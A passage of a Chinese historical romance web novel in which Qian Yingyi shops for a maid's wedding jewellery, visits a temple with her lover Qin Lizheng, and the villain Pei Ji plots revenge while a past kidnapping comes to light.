钱映仪怄得想转身打他,偏又忍住了,鼓着两片软软的腮肉,道:“那你就走,我现在也不想见你!不想!” 身后没有回音,俄延半日才响起脚步声,旋即咔哒两声,西窗打开,复又阖紧。 钱映仪两片薄薄的肩头霎时往下坠,恨恨握拳,自顾坐回案前,一面蘸墨去画他的小像,一面磨着两片嘴唇骂道:“指挥使是指挥使,侍卫是侍卫,两者还是有区别的,飞鱼服穿在你身上,显得你俊,看把你能耐的,我说什么都不听了!明明就是自己忙得很,没功夫来见我,这才派了两个人来打发我!” “什么夜里有你,分明都两三日没见了!死秦离铮,坏秦离铮,臭秦离铮,还敢说来就来,说走就走,一点也不听话,还不如从前那个做侍卫的时候呢,哼,你走得干脆,你再想来,我还不肯了呢,我现在就去外头喊小玳瑁取长钉来!” “钉死了,我看你怎么进来!” 话音甫落,她立时搁下笔,提起裙摆就往外头走,不防一个转身就瞥见原本该离去的秦离铮好笑抱臂倚在墙根下盯着她。 “”钱映仪霎时沉脸,虽瞧着生气,腮畔却飞速爬上一抹红,她立在原地没动,半晌,才道:“你没走?” 秦离铮被她一席话逗乐了,反剪两条胳膊在身后,慢吞吞往她身前来,片刻俯身在她身前,一张脸悬在她的眼前,“这么气啊,要不,扇我两记耳光消消气?我绝对不躲。” 钱映仪果真羞恼得去打他,打完又一连迭跺脚,顶着两片滚烫的腮气急败坏道:“你怎么能坏心眼成这样!还偷听我说话!我一点面子全没了!” 秦离铮愈发觉得好笑,趁她转身,一把揽紧她,那股清爽薄荷气霎时包裹住两人。 旋即他把她抱离地,一径退到圆桌旁,将她往桌上一放,“别嘴硬,其实你也没那么排斥他们,你只是想我,是不是?” 钱映仪偏着脸不瞧他,想晾着他,大约是自己也觉得方才那一幕实在好笑,一个没忍住,“噗嗤”一声又笑出来,晃着绣鞋去轻踢他的腿,“哎呀,你不要问出来嘛。” 秦离铮那双眼睛在盯着她时,时常会由黑漆漆变得火热。 他起身往屏风后转了一圈,出来时手里握着帕子,旋即在钱映仪狐疑的目光中靠近,双腿抵开她乱晃的腿,微凉的唇精准落在她的腮畔,唇肉,颈侧。 稍刻,指骨擦过她的裙边,再拿出来时,犹显放肆地笑了笑,来回轻磨着指腹,“我不问,我一惯只用行动求证。” 钱映仪正沉浸着,被他一打断,思绪清醒两分,正要骂他两句,不防他又窜进去,低沉的嗓音勾着她不由自主去抱他,“我也想你。” 她轻哼两声,指尖轻掐他腰间的肉,低喘了口气,硬了半日的嘴也渐渐软了下来,“其实我也没有想骂你你你别这样” 秦离铮没有答话,握着她的手轻咬一口,低垂着眼看她越来越急喘的呼吸和越来越迷蒙的眼神。 半晌,屋子里岑寂下来,连呼吸也尽数平静,秦离铮俯身往她腮畔亲了下,凑到她耳畔低哄,“所以,还是留着他们在你身边守着,好不好?” 钱映仪伏在他肩头,嗓音很闷,“你打算几时收网?” 秦离铮轻振着胸膛笑,“快了,明日我没什么要紧事,你想去哪里玩?我陪你去。” 才刚还气鼓鼓的呢,这时候钱映仪又高兴了,笑嘻嘻自他怀里抬起脑袋,“嗯叫我想一想,陈老板那头我昨日去过了,又分给我不少银子呢,昨日下晌我同雁雁去了她那个诗社,我觉得没什么意思,说起话来文绉绉的,听得我犯困,我想我想” 她脑子里滑过什么,蓦然抓紧他,眼里闪着兴奋的光,“对啊!春棠同小玳瑁的婚期也没多久了,我还得替她打首饰呢,我瞧那何家铁铺的工匠手艺极好,他那儿能打金饰是不是?” “那我明日想带着春棠同夏菱一起去何家铁铺,你届时直接去铁铺接我!” “对对对,还有还有,团姐儿这几日夜里总哭,二婶婶说小孩子容易被吓着,那待你接上我,下晌咱们出城,去静海寺替团姐儿求个平安符,如何?” 她一气说完,遂眨着眼等他点头。 秦离铮眼里蕴着温柔,把下颌轻点,仿佛是为了反驳她先前嘀咕的话,他又化作从前那个言听计 从的侍卫,俯身往她额心落下一吻,“都听你的。”—— 作者有话说:[狗头]秦离铮就是喜欢逗映仪玩 映仪尴尬时内心OS:救命,有没有体面一点的方法让我躲开! 瑞王这边算计:咱们先这样,再那样,届时反咬他们! 秦离铮冷笑:能放你出城的话,我的秦字倒过来写! 第48章 树影泛红,大雁长鸣,秋菊盛开,天气稍凉。转瞬过去一夜,金陵城复又是个清爽阴日。 因惦记着替春棠打金饰的事,钱映仪半夜赶走秦离铮,踏踏实实睡了个极其舒坦安稳的觉。 今番醒来时神清气爽,用罢早膳出正屋时,便见她扎着赤金色鸢尾纹妆花马面裙,月露黄的立领斜襟长袄。 外头则套一件縓色长比甲,比甲上绣着焦黄的叶子,胸口一只红眼小兔,朱唇皓齿,玉貌花容,像秋日里自绿油油的草间长出的一朵花,明艳又晃眼。 那双铮亮的眼睛瞥过春棠穿着酂白的裙子,不赞同把额心轻拧,比划着——哎唷,春棠,你做哪样还穿这么素的颜色?今日要替你去选首饰呢,听我的,去换身衣裳。 春棠羞赧笑一笑,回着——小姐,您瞧着比谁都兴奋,就穿这颜色挺好呢,夏菱正在外头等着呢。 钱映仪撇撇唇,见劝不动她,只好作罢。旋即一招手唤着小玳瑁,一手抄着春棠的臂弯就往外头去。 这时候出门,不算太早,却也算不得晚。甫一踩下正门口的石磴,钱映仪蓦地扭头往隔壁瞧,岑寂许久的裴家今日朱门大开,几个小厮正提着沉甸甸的箱笼往外走,瞧着像是要搬家。 想及裴骥先前还欲接近自己,钱映仪不大高兴地把脸转回来,只打算忽视这些。 谁知同两个丫头一并上了马车,车轴才滚过裴家大门,缃色的车帘外头便传来一声婉转低柔的呼唤,“钱小姐?” 钱映仪撩帘去窥,见是璎娘,倒是露出两分笑,“许久不见,璎娘,你” 她未把话说尽,只将眼色往裴家那头落一落,正琢磨着委婉劝一劝璎娘别再同裴骥有牵扯,璎娘已羞怯怯开口,“是,我来寻裴官人有事呢,先前是我误会他了,他身体不大好,生了场病,恐我忧心他,这才避着我不见。” 来寻裴骥有什么事,钱映仪自当能猜出,可眼下不是追问这个的时机,她抿一抿下唇,见璎娘被那裴骥三言两语就诓骗住,到底没忍住,启唇道:“璎娘,你真喜欢这裴骥?其实他” “璎娘。” 那裴骥不知何时出现在门口,噙着一抹温柔笑意朝璎娘招手,打断了钱映仪要说的话。 钱映仪一顿,不由地审视他两眼,见璎娘高高兴兴迎去,最终只嗟叹一声,果断撂下了车帘,“走吧。” 这厢璎娘乐滋滋提裙往裴骥身前跑,站上一截石磴,仰脸瞧他,眼里布满情意,“你要把宅子搬到哪里去呢?” 裴骥懒洋洋握着她的手,姿态轻松,俯身往她腮畔亲了下,“跑不了,自然还在金陵城内,届时待安定好再告知与你听,你用过早膳不曾?” 他一扫先前稍显疏离的客气,此番热络里牵带着柔情蜜意,璎娘连嘴里都仿佛像含了块蜜糖,甜滋滋的。够眼往他身后的宅子里瞧一瞧,她便摇摇头,嗓音一软再软,“没呢,为着见你,我大清早就出来了,干娘在后头叫我,我都没应。” 裴骥笑,“那就先进去用早膳,我盯着他们搬完东西就进来陪你。” 璎娘十分高兴,仰脸便往他下颌印着一个吻,继而像只蝴蝶一般旋进了宅子里。 待她的身影消失在廊角尽头,裴骥方收回冷情的眼,不动声色往四周睃寻一圈,招手命管家跟着自己就近进了间昏暗的屋子。 想是晓得大约有锦衣卫盯着自己,此番再行事起来,他谨慎了许多。两人躲在屋子里的死角,说话声小的仿佛连自己都要听不见。 “这璎娘当真是好骗,哼,我见她同钱映仪关系依旧,”裴骥冷笑道:“届时便找个机会,把那无色无味的毒藏在她身上,只要她同钱映仪再说话,这毒便能悄无声息移去钱映仪那儿。” “那秦离铮不是最在意她?我便要以此诛他的心。” “你可寻到那制毒之人?” 裴骥一连迭说了些话,谁知那管家出神,正闷头想着什么。他不喜蹙眉,抬着胳膊肘拐了管家一下,“发什么怔?” 管家不禁哆嗦一下,在昏暗幽室里抬起稍显惊愕的一双眼睛,把嗓音压到最低,几乎是连裴骥都要听不见,“少爷,我、我好像看见二小姐了。” 裴骥一时没听清,“什么?” 管家勉强压了压心神,口齿清晰道:“二小姐,珍珠小姐,我方才看见她了,她右耳耳垂后有个指甲盖大小的胎记,您还记得吗?” “珍珠?”裴骥冷不防也有些惊吓,掩埋多年、早已模糊不堪的记忆霎时冒了出来,忙不迭攫紧管家的胳膊,“你当真没看错?” 怪哉,裴骥身为淮安府裴家的独子,长至如今二十来岁,称得上是顺风顺水,提起这珍珠小姐,有何惊吓的呢? 原来裴骥自打亲娘去世后,府里便有些做下人的渐渐编排起他,彼时裴骥也不过才四岁。 下人们说裴老爷没多久就要再娶一房续弦太太,届时生下二少爷、三少爷,家里有那位续弦太太当家,待裴老爷百年之后,能分给裴骥的财产想必只少不多。 那时候裴骥年幼,对争家产一事半蒙半懂,这话听进耳朵还不如新得的蛐蛐有趣。 赶巧裴老爷那时较为怜惜的二姨太太乃裴骥表姨妈,膝下未得一儿半女,又因同裴骥亲娘姐妹情深的缘故,对裴骥爱屋及乌,便留神把这些话听进心里,暗暗盘算起来。 后来续弦太太过门,第二年诞下一女,裴老爷很是喜爱,取名珍珠,意欲叫她一辈子都做裴家的掌上明珠。 见是个女儿,那二姨太太悬了许久的心方窜下去,暂且把家产争夺之事先压回了肚子里。 兄妹两个虽不是一个母亲所出,但因家中拢共就两个孩子,时常也是耍到一处,裴家一时也充斥着欢声笑语。 谁知突生变故,裴珍珠六岁那年,十一岁的裴骥太过调皮,同外头的一班狐朋狗友打赌,大冬日的往下游的淮河里跳,少年气性上来不管不顾,这一跳,就跳出了事。 裴骥发起高热,奄奄一息,裴家上下乱作一团,眼见请来的郎中个个都治不好他,裴老爷急得满屋子乱转。 比裴老爷更急的,自然是那位二姨太太。她本就心疼表姐年纪轻轻就离世,如今裴骥遭此劫难,她更是恨不能自己替了去。 伏在桌上哭了半日,倏听见外头有人说话,正是那位续弦太太同身边的婆子在交谈。 “太太,您瞧大少爷如今这样怕是不行了,咱们是不是得提前备下些东西?” “嘘,休要胡说,骥哥儿吉人自有天相,这一关难过,咱们多去庙里替他求求菩萨,他总能过去的。” 二姨太太听了这话非但不感激,反倒呆怔半日,渐渐地,坐在屋子里牵出一抹 有些吊诡的笑。 她盘算着,裴骥倘或这一趟就这么没了,那日后那些家产,可不都得是裴珍珠的?她替表姐感到惋惜,当下决意替裴骥豪赌一把,倘或成了,裴骥也还活着,日后他便是裴家唯一的继承人。 因此,在裴家阖府上下一团乱之际,二姨太太找上彼时还在裴骥身边当个守院小厮的管家,巧在这管家曾受过裴骥亲娘的恩惠,一听二姨太太的筹谋,心中虽惧怕,却咬咬牙应了下来。 于是在一个积雪压满整座淮安城的日子,趁着续弦太太领婆子丫鬟出门替裴骥祈福、裴家上下又只顾着裴骥那头的功夫,二姨太太一路哄骗着只六岁的裴珍珠往偏僻的侧门去。 说是去趁娘出门,避开所有人,悄悄领她去买糖吃。 裴珍珠那时正换牙,又有些调皮,平日被娘逼着不许吃糖,那段时日又被拘着,说是哥哥生病,不许在家中胡乱窜动打搅哥哥。 一听能出去耍,还有糖吃,裴珍珠自然是期期艾艾地跟着。 管家暗中寻的拐子早已在外头候着,二姨太太一径领着裴珍珠转去那偏僻的侧门,待打开门,裴珍珠一见白茫茫一片,高兴得忙往外冲。 那拐子趁其不备一把蒙住她的口鼻,渐渐地,一道小小的身影就消失在了角门外。 所有挣扎的痕迹没几时就被一大片雪覆盖,待续弦太太回来时,满宅子寻不见裴珍珠的踪迹,这才开始慌神,同裴老爷两个捆了家里的下人一番审问,下人们全留神裴骥去了,当真是一问三不知。 续弦太太急得五内淤火,当即便去报官,可为时已晚,那拐子收了二姨太太给的银子,早已在短短几个时辰里绑着裴珍珠出了淮安城,天地广阔,又能去哪里寻呢? 续弦太太急火攻心,终于支撑不住,在第二日便一头栽倒在地,偏巧也在同一日,裴骥的病情渐渐有了好转。 整个裴家一时不知该喜该忧,裴老爷面对续弦太太的哭闹起先还耐心哄着,待时日一长,也稍显力不从心,虽依旧派人在外头打探裴珍珠的消息,夫妻两个却逐渐离了心。 后来一年又一年,裴珍珠始终没有下落,裴家只剩这位续弦太太还坚持苦寻,其他人自然是泠然旁观,有心也无力了。 管家被裴骥掐得轻嘶一声,骇目圆睁,一连迭把下颌重重点着,“我没看错,方才钱小姐坐在马车里,她身边跟着两个丫头,梳双髻的那个您见过,头先踏青时您不是还同着一起玩过酒令?” “另一个丫头鲜少跟着钱小姐出门,千算万算,怎算得中她竟是二小姐?” 管家斩钉截铁道:“她方才正低着头坐在钱小姐身边,模样是长变了,乍一看认不出来,但那块胎记我记得清楚,现在细细想一想,眼眉处其实还有些儿时的影子!” “少爷,您还没同二小姐打过照面,六岁那时早已能记事了,倘或她想起来,又有钱家护着,万一往官署揭发当年之事,咱们岂非又摊上一桩麻烦事?” “你容我仔细想想。”裴骥尽敛神情,在暗室里静静站了会,等到外头渐响璎娘暗自嘀咕的声音,像在四处寻他。 他这才抬起脸,命道:“你亲自回淮安一趟,问二娘,证实她究竟是不是珍珠,倘或是,下毒的事便搁置下来,兄妹一场,做哥哥的许久不见妹妹,也该私下同她叙叙旧。” “我得改改主意不急不急” 裴骥始终不忘断腿之仇,大约是深知不可与秦离铮正面对上,他又牵出抹阴森森的嗤笑,“她若是珍珠如此一检算下来,我又到了暗处,哼,一个她,一个钱映仪,届时我要一并解决了。” 待管家肃着神色应下,裴骥复又转出稍显敷衍的笑颜,出了暗室,脚步一转向璎娘迎去。 淮岸热闹,闹市喧天。这厢钱映仪辗转到了何家铁铺,便笑嘻嘻挽着春棠的臂弯进去,那伙计认出她,忙笑着迎来,“哟,奶奶,您稀客。” 钱映仪被这声“奶奶”唤得稍显羞赧,转念一想自己迟早要嫁给秦离铮,提前听一听也没什么。 于是她便绽开个笑,拉着春棠往前站,“我这妹妹好事将近,烦请您给瞧一眼,适合打些什么金饰陪衬着?分心,挑心,镯子,花钿统统都拿几个样子来比一比,不计较银钱,只一个要求,要衬得上她。” 那伙计“哎呦”一声,心中自然叹道钱映仪出手大方,一双眼睛在春棠脸上打了转,登时把她夸得美如月宫仙娥。 春棠听不见,瞧着神情却也晓得他是在夸自己,忙端端正正向他福了个身。 一番比较下来,定下一个金镶宝石青鸾分心、一支金嵌莲花挑心、两副金坠子、一对灵芝纹金戒指。 钱映仪摸出钱袋子交付定金时,小玳瑁忙抢着上前付,被她狠拍手背打开,嗔道:“你的银子不都是春棠的?哪有自己拿银钱置办嫁妆的,且先收着,日后记着要对她好,把她捧在掌心里,这才不算辜负我一番心意,明白了吗?” 小玳瑁感激至极,忙把下颌轻点。 夏菱在一旁喜滋滋拿着铺子里的银饰往春棠脑袋上比划,仗着春棠这会听不着她在说什么,便琢磨道:“小姐瞧,这些银制的花钿也很衬春棠呢,奴婢待会悄悄买下来,您先领着她出去。” “起先与她说起要送新婚贺礼,她还一连摆手拒绝哩,嘿嘿,莫要叫她晓得了,届时一并塞进她的箱笼里便是。” 钱映仪跟着笑,“你也有心,花了多少银子,你回头同我说,我换成月银补给你。” 夏菱讶然推脱,“那不行!” 一来二去耽搁片刻,那伙计复又出来,递给钱映仪一张条子,笑道:“届时奶奶派人来取时,带着它就行。” 钱映仪点点头,见夏菱给自己打眼色,遂领着春棠先出去,往门口四下瞧一瞧,待到夏菱再出来,秦离铮的身影适时也出现在巷口。 夏菱把两对有情人一瞥,笑呵呵握拳往掌心一拍,“赶上巧宗!小玳瑁领着春棠去耍,小姐同秦指挥去静海寺,那奴婢今日得闲,有大把的功夫去河边玩呢!” “你来啦!”钱映仪远远朝秦离铮挥手,那双眼睛益发清亮,冬日分明还未降临,却好似看见了一双无瑕透亮的冰珠子,“过来!过来!咱们走另一头出去!” 秦离铮噙着笑行至她身前,穿一件靛蓝色葡萄纹圆领袍,梳着干净利落的头发,一凑近,又嗅见那抹薄荷香,令钱映仪复又回到夏日余韵里。 向小玳瑁几个打过招呼,秦离铮不做停留,当即牵起钱映仪往另一头走,片刻的功夫就转出街巷,把钱映仪往辆黑漆漆的马车里送。 钱映仪笑嘻嘻坐定,撩起眼皮瞧他端正坐在自己身侧,忍不住又调侃他,“秦指挥因何不亲自驭马?” 秦离铮扭过脸,垂眼细细端详她片刻,一言不发去挠她腰间软肉,“你叫我什么?” 挠得钱映仪咯咯直笑,马车里洒进半束光,她的笑颜悬在秦离铮眼前,比淮河两岸的秋海棠还要耀眼,“哎呀,你别挠,痒,别闹了,给人听见不好!” 一个闪躲,她薄薄的肩背就欹在车壁上,眼前是秦离铮盯着自己依旧火热的视线。 钱映仪也细细端详他片刻,扫量他的眼眉与整张脸,旋即指尖轻勾他的下颌,往上微微一挑,眼梢里飞出半丝挑衅,“都说皇上身边的秦指挥使心狠手辣,杀官员时眼睛都不眨一下,日后若再添上狼子野心,或许能往上爬得更高,我瞧瞧,哪里心狠” 她“啵”的一声亲在他唇上,再移开时,窥清他唇畔的笑,笑嘻嘻道:“哪个心狠手辣的权臣笑成这样?” 秦离铮笑了声,“对你,我要做什么权臣?不闹你了,说说,给春棠都挑了些什么首饰?” 他一惯不爱打听除她之外的事,钱映仪狐疑觑他两眼,心念一转,笑意更甚,“你套我话 呢?想以此摸出我的喜好,回头再来讨好我,是不是?” 她歪歪扭扭坐着,恰逢马车驶过一截稍显颠晃的路,她干脆懒洋洋往车壁上倚着,两条腿伸去他的小腿间轻晃,嗓子里喧出一股叹息,“那太可惜了,我没挑呢,叫铺子里的伙计给春棠挑的。” 被她戳破,秦离铮也不心虚,她一双脚撞得他的小腿酥酥麻麻,他也干脆捞起她的脚搁在腿上,自己则往她身前挪近一些,一手兜揽住她的腰,“这样舒服点?” 钱映仪喟叹一声,感受到他在轻捏自己的脚腕,舒服得半阖起眼,正要歪着脑袋往他身上靠,不防倏然起身,惊道:“对了,忘了同你说,我今晨出门时见着那裴骥了!” “瞧着像是要搬家呢。” 秦离铮被她突如其来的动作一惊,摁着她的脚腕没让她动,垂眼忖度片刻,问,“可有见到那个叫璎娘的戏子?” 钱映仪讶然,“这你都能猜着?” 秦离铮点点头,“我一直都命人在暗中监视他,他已知晓自己那本账册被掉包之事,却没什么动作,突然要搬家还跟那位璎娘联络上,想必是要通过你来报复我。” “他怎的这么烦,就不能抓了他?” 钱映仪颇有些烦躁“啧”了声,话甫一问出口,很快复又回神,锦衣卫虽权利大,却也局限在官场,裴骥不过是个平头百姓,燕蔺一党还未抓捕,反倒先逮了他,无论如何都说不过去。 钱映仪明白,秦离铮也在等,等一切时机正好。她撇撇唇,暗咬牙关,声音从齿隙里泄出来,“堂堂一个大男人,畏畏缩缩躲在阴暗处,只敢在女人身上下功夫,算什么本事!” “眼下就差最后一步,燕榆已同那位范大人共乘一条船,只等范大人有动作,锦衣卫会立刻缉捕他们一干人等,届时一应证据都有,自然也漏不了裴骥。” 钱映仪自鼻腔里哼出一声,想着自己又被裴骥盯上就气不打一处来。恨不能倒转回去就把他给捉出来一顿好打! “从今日起,你夜里便去我那睡,”秦离铮冷不防道:“白日我再多派几个人守着你,不要怕,他找不着机会动手的。” “我不是怕,我是气他阴魂不散!”钱映仪胡乱晃一晃脚,闻听他借故让自己每夜都过去他那宅子,心里有片刻的悸动,轻轻笑了声,拿膝盖去拐他,“你又起了坏心思。” 秦离铮稍垂着眼,盯着她看,慢慢俯身靠近,牵出个没脸没皮的笑,“你不是一直都知道我在想什么?” 两人一路话没停,可多半也是钱映仪在叽叽喳喳说,秦离铮听到认同处时把下颌轻点,也跟着附和两句。 后来马车里岑寂片刻。驭车的手下是个十八九岁的少年,狐疑竖着耳朵听了片刻,暗自嘀咕半日,只道是话说尽了,约莫在歇息。 辗转过去大半个时辰,马车总算行至静海寺门下。高高的檐宇,刷着红色的漆,犹显宁静。 秦离铮先打帘下来,旋即去接钱映仪,女孩子仍是那张俏丽的容颜,腮畔却浮着一抹淡淡的红,领子下隐约得见一个浅粉的印记。 钱映仪掀眼轻瞪他,站定后旋身凝视着静海寺的大门,叹道:“先前听爷爷说这儿是皇家寺庙,后来改了制,这才允许老百姓进出,我还是头一回来呢,瞧着同别的寺庙也没什么区别。” 话音甫落,钱映仪见这时候庙里香客瞧着不算多,便拔脚往寺内行去,不巧眼风扫过四周,在不远处窥见燕如衡与范宝珠的身影。 钱映仪一怔,扭头瞧一眼秦离铮,“他们也在这儿,好巧。” 那头燕如衡也瞧见了二人,不知与范宝珠说了什么,范宝珠笑嘻嘻松开他的胳膊,立时旋着裙摆领着丫鬟往另一头去了。 燕如衡遂缓步往这头来,瞧着是有话同钱映仪说。 钱映仪扇一扇两帘睫毛,察觉秦离铮往身前挡了挡,心里却起了另一股念头。 自打初见燕如衡,她便觉得他那张脸生得尤其漂亮,不由自主地生出欣赏之意。慢慢地,她与他做了“朋友”,说了些彼时听着稍显奇怪的话,他倏又渐渐远离了她,再到秦离铮揭开这一切的真相 钱映仪一惯敞亮,自然也明白燕如衡也许起先是听着家中的摆布接近自己,后来因何又远离约莫是他自己的意思。 今番既然碰在一处,她也想着同燕如衡把话彻底说开,便与秦离铮道:“你等等我,我有话与他说。” 方要往那头去,不防手腕一把被攫紧,扭头一瞧,是秦离铮不大高兴的脸。 钱映仪冷不丁笑了,“你还吃什么醋?不喜欢我同他讲话,那也总得让我把话说清吧,我可不喜欢拖泥带水。” 秦离铮默然垂首想了想,倒也是这么个理。只是他面上不显,反倒把她拉近,俯身往她腮畔亲出重重一声响,旋即目光仿佛是不留神游过她领子下的印记。 静静看了片刻,他笑了声,“你去,待会说来我听。” 钱映仪匪夷所思瞧他这幅酸涩气性,活脱像个十八九岁的少年,她难免去比较,只怕换作小玳瑁,都比他此刻要稍显成熟。 眼见燕如衡的身影益发离得近,钱映仪暗暗往上翻了翻眼皮子,一拳打过去,“去一旁等我,小气!”—— 作者有话说:裴骥,你再等等,我在写死你的路上了[摸头] 秦离铮:吃醋,但我不说,我就猛地亲一下,嘬出响亮一口 钱映仪:你真的小气得有点可怕 春棠的身世已揭开—— 第49章 “钱小姐。”不一时,燕如衡行至钱映仪身前,倏又改了从前定下的称呼,语气隐带疏离。 两个站在寺庙檐角下,这时候忽然又艳阳高照,一束光斜斜照在钱映仪的半幅肩头,她抿一抿下唇,虽已明白他当初是刻意接近自己,却仍维持礼节,端端正正向他福身,“燕大人。” 燕大人,从最一开始,她仿佛就只用这三个字唤他。 燕如衡站在阴影下,盯着她肩头那些细微的尘埃,扯出一个苦闷的笑,“我要同宝珠定亲了。” 他今日穿了件青谷色交领直裰,不知是不是钱映仪的错觉,她觉得他的脸倏然没那么漂亮,整个人透着一股说不清道不明的死气,老了点儿,肩背也塌了点儿。 闻听要定亲,钱映仪心内一动,暗道范大人约莫不久就有动作,面上却不显,只道:“那先恭喜燕大人了。” 旋即没有再讲话,等他继续往下说。 燕如衡轻垂眼皮,目光掠过钱映仪的脸。 方才过来寻她时,他说不清自己要同她说什么,只是纯粹地遏制不住要说话的心。 他又何尝不晓得她或许也知道了他接近她的全貌。 那一束光像把无形的斧子,劈开了他和她原本就毫不相干的世界,那些细细的尘埃在她肩头浮动着,像生了嘴的怪物,一个个跳着向他指责,令他觉得自己——无耻,奸佞,算计。 可愈是知道自己一步步跌进深渊,他便愈发想拽住她那一丁点儿纯粹与干净。 今番他们又面对面站在一处交谈,看她同秦离铮携手进寺庙,再看秦离铮俯身吻她,很是奇怪,原先那股在五脏六腑作祟的酸涩仿佛不再有 “燕大人?”钱映仪轻眨着眼,稍有疑惑地开口。 燕如衡猛然回神,慢慢挪开视线,转头望向半空里的淡淡浮云,“钱小姐,从前我问过你,倘或我也有不好的一面,你当如何,你那时说,道不同,我们无法再做朋友。” “不瞒你说,钱小姐,我是喜欢你的,”寺里清净,整洁,大约从前是皇家寺庙的缘故,小僧人轻扫得十分仔细,燕如衡目光稍转,最终落在檐角不起眼的蛛网上,“即便是宝珠在这里,我也还能坦荡说出这些话。” 他嗓音十分轻,“钱小姐,秦离铮对你如何?” 钱映仪回身凝望不远处的青年,正懒洋洋抱臂盯着自己,她扯了扯唇,如实道:“很好。” 燕如衡把下颌轻点,“对你好那就行了” 他背着身,眼睛里像是渐渐凝着一点灰蒙蒙的雾,“既不再是朋友,依钱小姐来看,是非对错,正与邪,究竟是个什么道理?” 这话问得十分直白,钱映仪心中一咯噔,免不得暗揣他是否是在借机试探,又或是听从燕榆的安排,另存了什么心思。 忖度片刻,她才挑出一席折中的话,“是非对错也好,正与邪也罢,全凭你如 何看待。” 她随着他的目光去瞧檐角下的蛛网,嗓音里喧着一股叹息,“譬如这蛛网,叫小僧人看见了,或许笤帚一挥就什么都没了,于小僧人而言,他有何错?他不过是老实本分做好自己的份内之事,可于织网的蜘蛛而言,它又有何错呢?它也不过是静静待在此处罢了。” “对小僧人来说,他行的是正义之事,对蜘蛛来说,却是邪恶至极的。” 她道:“天地辽阔,世间苍茫,这世上之事,我也只知一星半点,在蛛网同僧人的事上,或许是非对错没有绝对,可倘或再换个角度去想” “弱肉强食,僧人占尽优势,倘或他心存恶念,挥走蛛网仍不痛快,还要踩死蜘蛛,碾着它的血,这样的恶,我想,即便是佛祖也无法赦免。” 燕如衡眸色颤了颤,掩在袖摆下的指骨不自觉紧握,钱映仪在他身后静观片刻,她晓得,他听懂了她暗藏的劝诫。 佛语常言,回头是岸,燕如衡替燕榆办事,即便有良知,可仍然是跟着踩在百姓头上喝血的一部分。 倘或燕榆是那僧人,燕如衡便是他手中的笤帚。 燕如衡若能主动交代一切,以作证人,燕蔺一党再如何狡辩也再翻不了身。 见他半日未有动静,钱映仪稍稍嗟叹一声,想及自己过来同他说话的目的,又道:“今日既把话说开,那正好,我也有话同燕大人说。” “燕大人,你同范小姐定亲,范小姐可高兴?” 燕如衡身影轻轻动了动,复又垂下眼,低声道:“自然是高兴的。” “既是高兴,那足以证明她十分爱慕你,”钱映仪望向他,“我只知喜欢一个人,该纯粹,被喜欢时,也该仔细呵护这份爱意,你方才说即便她在这里,你也能同我说出那句话,对我而言,你是坦荡了,可你有没有想过,对她来说,她是否介意你这份坦荡?” “燕大人,在情爱面上,人一向是小气的,她既爱慕你,你也不该把她的这份爱轻飘飘揣在身上。” 钱映仪瞟着范宝珠离去的方向,知晓这个姑娘或许什么都被蒙在鼓里,只是有一腔孤勇的爱。 范大人缠绵病榻,万不得已才应下燕榆帮衬自己的要求,对范宝珠而言,他是个好父亲,疼惜她,可于百姓而言,在不久的将来,即使清廉如他,也即将成为吸血的一份子。 她没资格在此刻牵出恻隐之心,只能尽可能地让这个姑娘拥有一段完整的爱,“燕大人,撇弃别的不谈,单谈情爱二字,还请珍惜当下。” 大约是钱映仪说话时的语气过于泠然,燕如衡好似被细细的针扎了一下,力度不重,却泛起尖锐的疼。 这股疼并非来源于她的坦荡直白,而是她的一席话再次令他感受到了自己有多阴暗,有多卑劣。 说到此节,钱映仪自知什么都已说尽,遂又向他福身,头也不回地旋裙奔向秦离铮。 燕如衡静站原地片刻,这时候才撩起眼皮去追逐她的背影,心里有个念头想跟着她往前走一走,双脚却仿佛粘连在地砖上,沉重到拔不起来。 渐渐地,他明白过来,其实他也并非是喜欢她,而是被困住的那个自己,喜欢她身上的那抹纯粹,仅此而已。 彻底意识到这一点,燕如衡低喘了口气,心头那团郁结消散些许,没几时,见范宝珠远远提裙奔来,旋即扯出个笑,慢慢迎了上去。 范宝珠臂弯里躺着几簇秋菊,笑着捧起来给他瞧,“三郎,你看,我觉得很衬你呢!” 燕如衡倦怠点点头,尚未说话,范宝珠倏然掬着他的脸左右窥瞧,目色担忧,“三郎,你是不是没休息好?不如咱们就先不拜菩萨了,反正爹的病已经大好了,先回去吧。” 燕如衡怔然看着她,同钱映仪说的一样,范宝珠的眼里全是自己,那双稍显湿润的瞳眸里明明白白映着自己的身影,恍然令他生出一个念头——这样好的姑娘,他怎好辜负? 他静静看着范宝珠,没讲话,倒把范宝珠给看得腮畔渐染一抹红,渐渐地,垂下头,轻掣他的袖摆,“回不回去嘛?” “好,我们回去。” 碧瓦朱檐,阳光四射,一扫先前的阴霾,寺庙如此,人亦如此。 这厢钱映仪扑到秦离铮身前,歪着脸把他窥一窥,笑问,“你是不是都听见了?用不着我再向你交代了吧?” 秦离铮握着她的指头揉捏,如实道:“听见了,你还懂佛呢。” 一听就知他在调侃自己,钱映仪蓦然把手抽回,端正起来,斥道:“大胆,菩萨眼皮子底下,你岂敢毛手毛脚的?” 钱映仪今日施妆傅粉,浑身香气融融,淡扫的眉毛像春日里的柳叶,倏然变了个脸色,秦离铮益发觉得她可爱,免不得笑出声来,佯装两个掌心合拢,轻声道:“那还请菩萨莫要怪罪。” “哎呀,别在这儿木杵杵的站着了,咱们不是还要替团姐儿求平安符?”钱映仪呆不住,忙不迭地就扯着他的胳膊往里走,“跟上,跟上。” 秦离铮眼底蕴着笑,目光落在她的指尖。心口不一,向来是她的习惯,才刚还拿菩萨当幌子呢,这时候又不怕了。 两人半晌行至正殿,殿内一众僧人正阖眼诵经,钱映仪先跪在蒲团上虔诚拜过菩萨,方去寻替孩童赐符的方丈。 平安符小小一个,四四方方的,方丈拿到菩萨身前嘀咕半日,旋即赠给钱映仪。她小心翼翼接了,塞进腰间的香囊里,掌心合十念了句,“阿弥陀佛。” 待出正殿,正值晌午,日头正盛。秦离铮丝毫不避讳人,抬手理一理她比甲上的褶皱,问,“你先前没来过这儿,我也是头一次过来,多转转,午晌就在寺内用斋饭?” 钱映仪一脸高兴,“好!” 二人沿廊走着,见周遭没什么香客,钱映仪倏低声问,“方才我同燕如衡说了那些,你觉得他真听懂了吗?” 秦离铮随手捻起一朵野花轻扫她的鼻尖,“他若听不懂,江宁县二老爷的位置便是白坐,只是听懂是一回事,能不能真的去做,又是另一回事,你好话已说尽,不必再纠结这个。” 